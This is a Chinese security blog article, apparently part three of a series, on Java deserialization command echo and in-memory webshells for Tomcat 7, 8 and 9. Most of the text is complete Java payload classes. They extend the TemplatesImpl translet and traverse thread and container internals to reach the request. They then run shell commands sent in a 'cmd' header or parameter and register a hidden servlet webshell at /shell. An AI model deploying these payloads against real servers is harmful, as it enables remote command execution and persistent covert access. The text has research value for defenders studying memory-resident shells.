六、 Tomcat7
前文回显和内存shell在tomcat8-9上都能用,在tomcat7就有一些不兼容了,先看Servlet内存shell。
不存在WebappClassLoaderBase类,不存在addServletMappingDecoded方法,前者先从request取,后者用addServletMapping代替。
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setServlet(servlet);
standardContext.addChild(wrapper);
standardContext.addServletMapping("/shell", "shell");
%>
可以用,但还是那个问题,request是jsp自带的对象,没法用于反序列化,而没有WebappClassLoaderBase,自然就没办法获取StandardContext,接下来该怎么办呢?
先回顾找tomcat8的回显,我们本质上是在追踪tomcat代码来梳理线程中一层一层的对象,一路向下找到request属性。但其实不止那一条链,很多链最终都能找到request,我们在testServlet增加代码
ThreadGroup group = Thread.currentThread().getThreadGroup();
下断点,然后对比成熟tomcat全版本回显项目来找思路。
https://github.com/feihong-cs/Java-Rce-Echo/blob/master/Tomcat/code/TomcatEcho-%E5%85%A8%E7%89%88%E6%9C%AC.jsp
可以看到追踪到了熟悉的Http11Protocol——RequestInfo,对象结构如下。
ThreadGroup->threads[3]
Thread->target
JIoEndpoint$AsyncTimeout->this$0
JIoEndpoint->handler
Http11Protocol$Http11ConnectionHandler->global
RequestGroupInfo->processors[1]
RequestInfo->req
Request
可以看到后半段我们很熟悉。在代码中使用了大量反射,所以不需要导入对应jar包,还在threads和processors做了for循环的兼容性处理。优化下代码,效果如下。
package test;
import java.lang.reflect.Field;
import java.util.ArrayList;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImplTomcat678910cmdecho extends AbstractTranslet {
public TemplatesImplTomcat678910cmdecho() throws Exception {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
Object obj = getFieldValue(t, "target");
if (!(obj instanceof Runnable)) continue;
obj = getFieldValue(obj, "this$0");
obj = getFieldValue(obj, "handler");
obj = getFieldValue(obj, "global");
ArrayList processors = (ArrayList) getFieldValue(obj, "processors");
for(Object processor : processors) {
Object req = getFieldValue(processor, "req");
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
str = (String)req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{"cmd"});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Object[]{new Integer(200)});
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", str} : new String[]{"/bin/sh", "-c", str};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\A").next().getBytes();
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk");
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
continue;
}
}
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field;
try {
field = obj.getClass().getDeclaredField(fieldName);
} catch (Exception e) {
try {
field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
} catch (Exception e2) {
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(fieldName);
}
}
field.setAccessible(true);
return field.get(obj);
}
}
解决了回显问题,意味着获取了request,是否就能像jsp那样从request中获取StandardContext呢?答案是不行,jsp的request是封装过的。
柳暗花明,在threads[1]中,可以看到一个StandardEngine对象,其正是tomcat四大容器中的最上层容器,向下跟即可依次发现StandardHost——StandardContext。
对象结构如下。
ThreadGroup->threads[1]
Thread->target
ContainerBase$ContainerBackgroundProcessor->this$0
StandardEngine->children[0]
StandardHost->children[6]
StandardContext
但是注意,无论是StandardHost还是StandardContext都有可能存在多个,如上图就存在shirodemo和webtest两个StandardContext。因此需要先从回显获取的request中取得serverNameMB和uriMB以进行对比。
参考https://xz.aliyun.com/t/9914 写出兼容tomcat78的Servlet内存马。
package test;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Scanner;
import javax.servlet.Servlet;
import javax.servlet.ServletConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardHost;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImplTomcat78ServletShell extends AbstractTranslet implements Servlet{
String uriMB;
String serverNameMB;
public TemplatesImplTomcat78ServletShell() throws Exception {
setMB();
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
if (!t.getName().contains("StandardEngine")) continue;
Object target = getFieldValue(t, "target");
if (target == null) continue;
HashMap children;
Object obj = getFieldValue(target, "this$0");
children = (HashMap) getFieldValue(obj, "children");
StandardHost standardHost = (StandardHost) children.get(serverNameMB);
children = (HashMap) getFieldValue(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(uriMB.startsWith(contextKey))) continue;
StandardContext standardContext = (StandardContext) children.get(contextKey);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setServlet(this);
standardContext.addChild(wrapper);
try {
Method addServlet = StandardContext.class.getMethod("addServletMappingDecoded", String.class, String.class);
addServlet.invoke(standardContext, "/shell", "shell");
}catch (Exception e) {
Method addServlet = StandardContext.class.getMethod("addServletMapping", String.class, String.class);
addServlet.invoke(standardContext, "/shell", "shell");
}
}
}catch(Exception e){
continue;
}
}
}
private void setMB() throws Exception {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
Object obj = getFieldValue(t, "target");
if (!(obj instanceof Runnable)) continue;
obj = getFieldValue(obj, "this$0");
obj = getFieldValue(obj, "handler");
obj = getFieldValue(obj, "global");
ArrayList processors = (ArrayList) getFieldValue(obj, "processors");
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
Object req = getFieldValue(processor, "req");
Object serverPort = getFieldValue(req, "serverPort");
if (serverPort.equals(-1)) continue;
serverNameMB = (String) getFieldValue(req, "serverNameMB").toString();
uriMB = (String) getFieldValue(req, "uriMB").toString();
if(serverNameMB != null && uriMB != null) {
flag = true;
}
if (flag) break;
}
if (flag) break;
}catch(Exception e){
continue;
}
}
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field field;
try {
field = obj.getClass().getDeclaredField(fieldName);
} catch (Exception e) {
try {
field = obj.getClass().getSuperclass().getDeclaredField(fieldName);
} catch (Exception e2) {
field = obj.getClass().getSuperclass().getSuperclass().getDeclaredField(fieldName);
}
}
field.setAccessible(true);
return field.get(obj);
}
public void init(ServletConfig config) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
response.getWriter().write(output);
response.getWriter().flush();
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
七、 Tomcat9
tomcat7行了,到了tomcat9内存shell又不行了,还是在testServlet上加ThreadGroup下断点。
发现ContainerBase$ContainerBackgroundProcessor没了,取而代之的是Acceptor和NioEndpoint$Poller。
跟进后发现,会发现这俩都马上能看到AbstractProtocol$ConnectionHandler
这里我们用NioEndpoint$Poller,获取的AbstractProtocol$ConnectionHandler在tomcat8回显时我们就知道,它可以轻松获取request。但它同样有一个较复杂的链可以获取StandardEngine。
对象结构如下。
ThreadGroup->threads[3]
Thread->target
NioEndpoint$Poller->this$0
NioEndpoint->handler
AbstractProtocol$ConnectionHandler->proto
Http11NioProtocol->adapter
CoyoteAdapter->connector
Connector->service
StandardService->engine
StandardEngine->children[0]
StandardHost->children[6]
StandardContext
结合tocmat通用回显,我们再去tomcat7下断点可以得到这么一条类似的获取StandardContext的链。
ThreadGroup->threads[3]
Thread->target
JIoEndpoint$AsyncTimeout->this$0
JIoEndpoint->handler
Http11Protocol$Http11ConnectionHandler->proto
Http11NioProtocol->adapter
CoyoteAdapter->connector
Connector->service
StandardService->container
StandardEngine->children[0]
StandardHost->children[6]
StandardContext
可以看到非常相似,前面几个类不同,后面Service到Engine的属性名不一样,用反射来写其实就无视之了。那么可以写出通用tomcat789 Servlet内存shell。
package test;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
import javax.servlet.*;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.core.StandardHost;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class TemplatesImplTomcat789ServletShell extends AbstractTranslet implements Servlet{
String uriMB;
String serverNameMB;
public TemplatesImplTomcat789ServletShell() throws Exception {
setMB();
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
Object obj = getFieldValue(t, "target");
if (!(obj instanceof Runnable)) continue;
obj = getFieldValue(obj, "this$0");
obj = getFieldValue(obj, "handler");
obj = getFieldValue(obj, "proto");
obj = getFieldValue(obj, "adapter");
obj = getFieldValue(obj, "connector");
obj = getFieldValue(obj, "service");
try {
obj = getFieldValue(obj, "engine");
}catch (Exception e) {
obj = getFieldValue(obj, "container");
}
HashMap children = (HashMap) getFieldValue(obj, "children");
StandardHost standardHost = (StandardHost) children.get(serverNameMB);
children = (HashMap) getFieldValue(standardHost, "children");
Iterator iterator = children.keySet().iterator();
while (iterator.hasNext()){
String contextKey = (String) iterator.next();
if (!(uriMB.startsWith(contextKey))) continue;
StandardContext standardContext = (StandardContext) children.get(contextKey);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName("shell");
wrapper.setServlet(this);
standardContext.addChild(wrapper);
try {
Method addServlet = StandardContext.class.getMethod("addServletMappingDecoded", String.class, String.class);
addServlet.invoke(standardContext, "/shell", "shell");
}catch (Exception e) {
Method addServlet = StandardContext.class.getMethod("addServletMapping", String.class, String.class);
addServlet.invoke(standardContext, "/shell", "shell");
}
}
}catch(Exception e){
continue;
}
}
}
private void setMB() throws Exception {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
Thread[] threads = (Thread[]) getFieldValue(group, "threads");
for(int i = 0; i < threads.length; i++) {
if (flag) break;
try{
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
Object obj = getFieldValue(t, "target");
if (!(obj instanceof Runnable)) continue;
obj = getFieldValue(obj, "this$0");
obj = getFieldValue(obj, "handler");
obj = getFieldValue(obj, "global");
ArrayList<?> processors = (ArrayList<?>) getFieldValue(obj, "processors");
for(int j = 0; j < processors.size(); ++j) {
if (flag) break;
Object processor = processors.get(j);
Object req = getFieldValue(processor, "req");
Object serverPort = getFieldValue(req, "serverPort");
if (serverPort.equals(-1)) continue;
serverNameMB = (String) getFieldValue(req, "serverNameMB").toString();
uriMB = (String) getFieldValue(req, "uriMB").toString();
if(serverNameMB != null && uriMB != null) {
flag = true;
}
}
}catch(Exception e){
continue;
}
}
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
try {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
return getFieldValue(obj, obj.getClass(), fieldName);
}
}
public static Object getFieldValue(Object obj, Class<?> clazz, String fieldName) throws Exception {
Field field;
clazz = clazz.getSuperclass();
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
return getFieldValue(obj, clazz, fieldName);
}
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
public void init(ServletConfig config) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public void service(ServletRequest request, ServletResponse response) throws ServletException, IOException {
String cmd = request.getParameter("cmd");
boolean isWin = java.lang.System.getProperty("os.name").toLowerCase().contains("win");
String[] cmds = isWin ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = response.getWriter();
response.getWriter().write(output);
response.getWriter().flush();
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
八、 Tomcat其他
到这里tomcat6-10的回显,7-9的Servlet内存shell都写出来了,6/10的Servlet,以及不同版本的Listener/Filter就懒得写了,因为tomcat不同版本间还有很多其他区别。
比如在全版本回显中,Response.doWrite()传的参数不同。
ByteChunk(6/7/8部分低版本)
ByteBuffer(8部分高版本/9/10)
比如在tomcat6中,没有Wrapper.setServlet(),也没有StandardContext.addApplicationEventListener()
比如在tomcat10中,Servlet相关包名从javax.servlet变成了jakarta.servlet。
比如在tomcat7和tomcat8中,FilterDef包名有变化。
org.apache.catalina.deploy.FilterDef(tomcat7)
org.apache.tomcat.util.descriptor.web.FilterDef(tomcat8)
以及前面已经遇到的一些坑。
WebappClassLoaderBase,tomcat8有,tomcat7没有
StandardContext.addServletMappingDecoded(8/9/10)
StandardContext.addServletMapping(6/7/8)
原文始发于微信公众号(珂技知识分享):Java反序列化命令回显和内存shell(3)